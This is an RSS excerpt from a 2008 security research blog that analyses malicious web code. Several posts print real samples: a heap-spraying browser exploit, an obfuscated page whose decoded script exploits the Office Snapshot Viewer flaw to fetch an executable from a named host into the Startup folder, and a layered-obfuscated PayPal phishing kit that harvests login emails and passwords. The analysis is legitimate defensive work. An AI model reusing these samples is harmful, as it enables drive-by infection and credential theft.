            &lt;span class="nx"&gt;alloc_str&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;vtable&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;lookaside&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
            &lt;span class="nx"&gt;free&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;lookaside&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
            &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
                &lt;span class="nx"&gt;alloc&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mh"&gt;0x2010&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
            &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
                &lt;span class="nx"&gt;alloc_str&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;fakeObjChunk&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
                &lt;span class="nx"&gt;alloc_str&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;fakeObjChunk&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;freeList&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
            &lt;span class="p"&gt;}&lt;/span&gt;       
            &lt;span class="nx"&gt;alloc_str&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;fakeObjChunk&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
            &lt;span class="nx"&gt;free&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;freeList&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
            &lt;span class="nx"&gt;obj&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;KeyFrame&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mh"&gt;0x40000801&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nb"&gt;Array&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nb"&gt;Array&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="k"&gt;catch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;){}&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;In all cases, the binary to be downloaded lives at
&lt;code&gt;http://59.125.229.71/ex/7/load.php?id=106&lt;/code&gt; and is well recognized by most
&lt;a href="http://www.virustotal.com/analisis/b9de3d9039fab305c2c58d189506590a
" title="VirusTotal report for binary b9de3d9039fab305c2c58d189506590a"&gt;anti-virus&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Update (10/17/08)&lt;/strong&gt;: The &lt;a href="http://xanalysis.blogspot.com/"&gt;xplo0it Analysis&lt;/a&gt;
blog also has a nice
&lt;a href="http://xanalysis.blogspot.com/2008/09/exploit-toolkit-expansion.html"&gt;description&lt;/a&gt;
of this exploit.&lt;/p&gt;
</description><category>malware</category><category>javascript</category><guid isPermaLink="true">http://www.cs.ucsb.edu/~marco/blog/2008/10/17-exploits-and-some-feng-shui.html</guid><pubDate>Thu, 16 Oct 2008 23:15:00 GMT</pubDate></item><item><title>DOM-based obfuscation in malicious JavaScript</title><link>http://www.cs.ucsb.edu/~marco/blog/2008/10/dom-based-obfuscation-in-malicious-javascript.html</link><description>&lt;p&gt;A few weeks ago, the good folks of &lt;a href="http://www.malwaredomainlist.com/" title="Malware Domain List"&gt;Malware Domain
List&lt;/a&gt; pointed
out an interesting &lt;a href="http://www.malwaredomainlist.com/forums/index.php?topic=2264.0
" title="Haven't seen this one before [malwaredomainlist.com]"&gt;new obfuscation
technique&lt;/a&gt; being used by
some malicious JavaScript samples.&lt;/p&gt;

&lt;p&gt;Here's the code of the malicious page (from reddii.ru):&lt;/p&gt;

&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;html&amp;gt;&amp;lt;body&amp;gt;&amp;lt;input&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;&amp;#39;text&amp;#39;&lt;/span&gt;&lt;span class="na"&gt;style=&lt;/span&gt;&lt;span class="s"&gt;&amp;#39;display:none&amp;#39;&lt;/span&gt;&lt;span class="na"&gt;id=&lt;/span&gt;&lt;span class="s"&gt;&amp;#39;vimamikolu2&amp;#39;&lt;/span&gt;
&lt;span class="na"&gt;value=&lt;/span&gt;&lt;span class="s"&gt;&amp;#39;kekin1=new Array(161,244,251,239,252,240,248,189,238,239,254,&lt;/span&gt;
&lt;span class="s"&gt;...&lt;/span&gt;
&lt;span class="s"&gt;166,144,151,161,178,238,254,239,244,237,233,163);&amp;#39;&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;script&amp;gt;&lt;/span&gt;&lt;span class="nx"&gt;votot&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;function&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;str&lt;/span&gt;&lt;span class="p"&gt;){&lt;/span&gt;&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;write&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;str&lt;/span&gt;&lt;span class="p"&gt;);};&lt;/span&gt;
&lt;span class="nx"&gt;dotemerape7&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nb"&gt;String&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="nx"&gt;lifum&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nb"&gt;Math&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;round&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;80.131&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="nb"&gt;Math&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;SQRT1_2&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;16.601&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="nb"&gt;Math&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;LOG2E&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;342.801&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="nb"&gt;Math&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;LN2&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nb"&gt;eval&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;getElementById&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;vimamikolu2&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;value&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;pidum9&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="nx"&gt;pidum9&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="mi"&gt;1577&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="nx"&gt;pidum9&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="nx"&gt;dotemerape7&lt;/span&gt;&lt;span class="o"&gt;+=&lt;/span&gt;&lt;span class="nb"&gt;String&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;fromCharCode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;kekin1&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;pidum9&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="o"&gt;^&lt;/span&gt;&lt;span class="nx"&gt;lifum&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nx"&gt;votot&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;dotemerape7&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/script&amp;gt;&amp;lt;/body&amp;gt;&amp;lt;/html&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;As it's typically done, this code just acts as the decoding routine for
the actual exploit code, which is obfuscated. However, in this case, the
obfuscated code is stored and dynamically retrieved from the HTML code
surrounding the JavaScript code. More precisely, the decoding routine
retrieves the value of the attribute &lt;code&gt;value&lt;/code&gt; of the HTML element with id
&lt;code&gt;vimamikolu2&lt;/code&gt;. This string is evaluated via &lt;code&gt;eval&lt;/code&gt;: this defines the
array &lt;code&gt;kekin1&lt;/code&gt;. Then, the code applies &lt;code&gt;String.fromCharCode&lt;/code&gt; to each
element of the array (xored with a constant value), and writes the
result back to the page.&lt;/p&gt;

&lt;p&gt;While not particularly difficult to reverse manually, this deobfuscation
technique has an important consequence for deobfuscation and analysis
tools: they 
need to have a decent implementation of the DOM model (e.g., understand
the getElementById function) in order to
automatically get around this kind of tricks. Incidentally, I'm working
on one such tool (which handles this sample just fine) and should have
something ready (and releasable) soon: check back!&lt;/p&gt;

&lt;p&gt;The deobfuscated code reveals the usual exploit for the MDAC
vulnerability and a more interesting (and recent) exploit for the Office 
Snapshot Viewer vulnerability
(&lt;a href="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2463
" title="CVE-2008-2463 [mitre.org]"&gt;CVE-2008-2463&lt;/a&gt;):&lt;/p&gt;

&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;code&gt;&lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="nx"&gt;goMDAC&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="nx"&gt;goPDF&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;wnd&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nb"&gt;window&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;wnd&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;parent&lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="nx"&gt;wnd&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="nx"&gt;wnd&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nx"&gt;wnd&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;parent&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
    &lt;span class="nx"&gt;wnd&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;location&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;getfile.php?f=vispdf&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="nx"&gt;goSnap&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;sfrom&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;http://reddii.ru/traffic/sploit1/getexe.php?h=12&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;sto&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;c:/Documents and Settings/All Users/Start Menu/Programs/Startup/&amp;#39;&lt;/span&gt;
     &lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;svchost.exe&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nx"&gt;snapattack&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;SnapshotPath&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;sfrom&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
        &lt;span class="nx"&gt;snapattack&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;CompressedPath&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;sto&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
        &lt;span class="nx"&gt;snapattack&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;PrintSnapshot&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;sfrom&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="nx"&gt;sto&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;catch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="nx"&gt;setTimeout&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;goMDAC();&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;3500&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nx"&gt;setTimeout&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;goPDF();&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;5000&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nx"&gt;goSnap&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Another interesting aspect of this exploit is that it (also) tries to
download PDF files. But this is material for another post...&lt;/p&gt;
</description><category>malware</category><category>javascript</category><guid isPermaLink="true">http://www.cs.ucsb.edu/~marco/blog/2008/10/dom-based-obfuscation-in-malicious-javascript.html</guid><pubDate>Wed, 15 Oct 2008 23:30:00 GMT</pubDate></item><item><title>Voting security in the pop culture</title><link>http://www.cs.ucsb.edu/~marco/blog/2008/10/voting-security-in-the-pop-culture.html</link><description>&lt;p&gt;It is pretty interesting to see how the pop culture picks up and
re-elaborates something you have been working on as a research topic, in
this case, the security of electronic voting machines.&lt;/p&gt;

&lt;p&gt;And, what's more pop culture than &lt;a href="http://www.theonion.com/
" title="The Onion"&gt;The Onion&lt;/a&gt;, &lt;a href="http://www.thesimpsons.com/index.html" title="The
Simpsons"&gt;The Simpsons&lt;/a&gt;, and &lt;a href="http://xkcd.com/" title="xkcd &amp;mdsh; A Webcomic &amp;mdsh; I
am Not a Ninja"&gt;xkcd&lt;/a&gt; (OK, maybe geeky-pop)?&lt;/p&gt;

&lt;p&gt;The Onion has covered eletronic voting in
&lt;a href="http://www.theonion.com/content/node/27457" title="Electronic Voting Machines: Infographics [theonion.com]"&gt;several&lt;/a&gt;
&lt;a href="http://www.theonion.com/content/amvo/california_voting_machines_hacked" title="&amp;quot;California Voting Machines Hacked [theonion.com]"&gt;cases&lt;/a&gt;.
Probably, the funniest one is a breaking news where it is announced that
Diebold prematurely leaked the results of the '08 elections.&lt;/p&gt;

&lt;p&gt;&lt;object width="425" height="344"&gt;&lt;param name="movie" value="http://www.youtube.com/v/LBrDzZCOQtI&amp;amp;hl=en&amp;amp;fs=1"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/LBrDzZCOQtI&amp;amp;hl=en&amp;amp;fs=1" type="application/x-shockwave-flash" allowfullscreen="true" width="425" height="344"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;/p&gt;

&lt;p&gt;The Simpsons have a great (leaked) episode where Homer attempts to vote
for Obama, but is confronted with "miscalibrations" in the DRE machine
he's forced to use...&lt;/p&gt;

&lt;p&gt;&lt;object width="425" height="344"&gt;&lt;param name="movie"
value="http://www.youtube.com/v/HloeGwmcVcs&amp;amp;hl=en&amp;amp;fs=1"&gt;&lt;/param&gt;&lt;param
name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;embed
src="http://www.youtube.com/v/HloeGwmcVcs&amp;amp;hl=en&amp;amp;fs=1"
type="application/x-shockwave-flash" allowfullscreen="true" width="425"
height="344"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;/p&gt;

&lt;p&gt;xkcd came up with a great comic strip to comment on the fact that anti-virus
software allegedly caused problems with Premier Election Solutions (formerly,
Diebold) voting machines in Ohio.&lt;/p&gt;

&lt;p&gt;&lt;a href="http://imgs.xkcd.com/comics/voting_machines.png"
&lt;img src="http://imgs.xkcd.com/comics/voting_machines.png"
     class="figure-centered"
     alt="xkcd cartoon on voting machines"
     title="Premier Election Solutions (formerly Diebold) has blamed Ohio voting machine errors on problems with the machines' McAfee antivirus software."
     width="500" heigth="205"/&gt;
&lt;/a&gt;&lt;/p&gt;
</description><category>evoting</category><guid isPermaLink="true">http://www.cs.ucsb.edu/~marco/blog/2008/10/voting-security-in-the-pop-culture.html</guid><pubDate>Thu, 09 Oct 2008 01:03:00 GMT</pubDate></item><item><title>Obfuscated backdoor or joke?</title><link>http://www.cs.ucsb.edu/~marco/blog/2008/10/obfuscated-backdoor-or-joke.html</link><description>&lt;p&gt;It is very common to find web-based malware that is protected by one,
two, or even three rounds of obfuscation. Obfuscation reduces the
chances that anti-malware tools automatically detect the threat and
slows down manual analysis.&lt;/p&gt;

&lt;p&gt;But, what about 48 (yes, forty-eight!) layers of obfuscation? A phishing
kit for PayPal found on the site for PhishTank's entry 
&lt;a href="http://www.phishtank.com/phish_detail.php?phish_id=502529
" title="Submission #502529 [phishtank.com]"&gt;502529&lt;/a&gt; contained the following PHP code:&lt;/p&gt;

&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;code&gt;&lt;span class="cp"&gt;&amp;lt;?&lt;/span&gt;   &lt;span class="k"&gt;eval&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;gzinflate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;base64_decode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;DZdHDsTWEQWv4p1lcMGcYFkCc86ZG2GY&lt;/span&gt;
&lt;span class="s1"&gt;c45zeg9P8NHNrlfv77/+/Ptf5fUZ/qi/7VQNn6P8Yz+2f7b5gNE/ss9eEtg/RZnPRfn&lt;/span&gt;
&lt;span class="s1"&gt;...&lt;/span&gt;
&lt;span class="s1"&gt;iJvAQurlJL/whtxnAqS+mV8XYRnKzb1/GZw/zd/1S/bqWwDFK3AFxPSt1LcQgUJZgdZ&lt;/span&gt;
&lt;span class="s1"&gt;QgCMpxBYIUAVL/+/d/ft9///X3X3/+/X8=&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)));&lt;/span&gt; &lt;span class="cp"&gt;?&amp;gt;&lt;/span&gt;&lt;span class="x"&gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;After the first deobfuscation, one obtains:&lt;/p&gt;

&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;code&gt;&lt;span class="x"&gt;&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;&amp;lt;?&lt;/span&gt;   &lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="k"&gt;eval&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;gzinflate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;str_rot13&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;base64_decode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;FZfHDoToEYRfxTevxYGc5&lt;/span&gt;
&lt;span class="s1"&gt;LVK5JwzF4schpyZp/csEhInoPvv+rrqr//++dc/qisb/nW+3UcP2UT9sR/b/7b5gNE/8&lt;/span&gt;
&lt;span class="s1"&gt;...&lt;/span&gt;
&lt;span class="s1"&gt;c8B1Fs0A/FFcVn1mGJmSUb77fTB+wxXDBv/GkFqPBSkm2N+x6LNrGy1a7ro+58z4Lfdm&lt;/span&gt;
&lt;span class="s1"&gt;iWHhsrzATBtN3mhGgyROECAIXj+XgoIggEX/+ee/fte///HXf//86/8=&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;))));&lt;/span&gt; &lt;span class="cp"&gt;?&amp;gt;&lt;/span&gt;&lt;span class="x"&gt;&amp;lt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The same technique (eval composed with gzinflate, str_rot13, and
base64_decode) is used in all the remaining layers. After 48 decoding
steps, the familiar phish drop/backdooring code is revealed:&lt;/p&gt;

&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;code&gt;&lt;span class="cp"&gt;&amp;lt;?&lt;/span&gt;
&lt;span class="k"&gt;include&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;write your mail here.txt&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;include&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;images/header.bmp&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nv"&gt;$ladate&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nb"&gt;date&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;D M d, Y g:i a&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nv"&gt;$ip&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;getenv&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;REMOTE_ADDR&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nv"&gt;$message&lt;/span&gt; &lt;span class="o"&gt;.=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;--------------PayPal  Spam ReZulT-----------------------&lt;/span&gt;&lt;span class="se"&gt;\\n&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nv"&gt;$message&lt;/span&gt; &lt;span class="o"&gt;.=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;E-Mail ID          : &amp;quot;&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nv"&gt;$_POST&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;login_email&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="se"&gt;\\n&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nv"&gt;$message&lt;/span&gt; &lt;span class="o"&gt;.=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;Password         : &amp;quot;&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nv"&gt;$_POST&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;login_password&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="se"&gt;\\n&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nv"&gt;$message&lt;/span&gt; &lt;span class="o"&gt;.=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;ip: &lt;/span&gt;&lt;span class="si"&gt;$ip&lt;/span&gt;&lt;span class="se"&gt;\\n&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nv"&gt;$message&lt;/span&gt; &lt;span class="o"&gt;.=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;Date: &lt;/span&gt;&lt;span class="si"&gt;$ladate&lt;/span&gt;&lt;span class="se"&gt;\\n&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nv"&gt;$message&lt;/span&gt; &lt;span class="o"&gt;.=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;---------------Created BY Dj_Amen@hotmail.fr-----------------------------&lt;/span&gt;&lt;span class="se"&gt;\\n&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

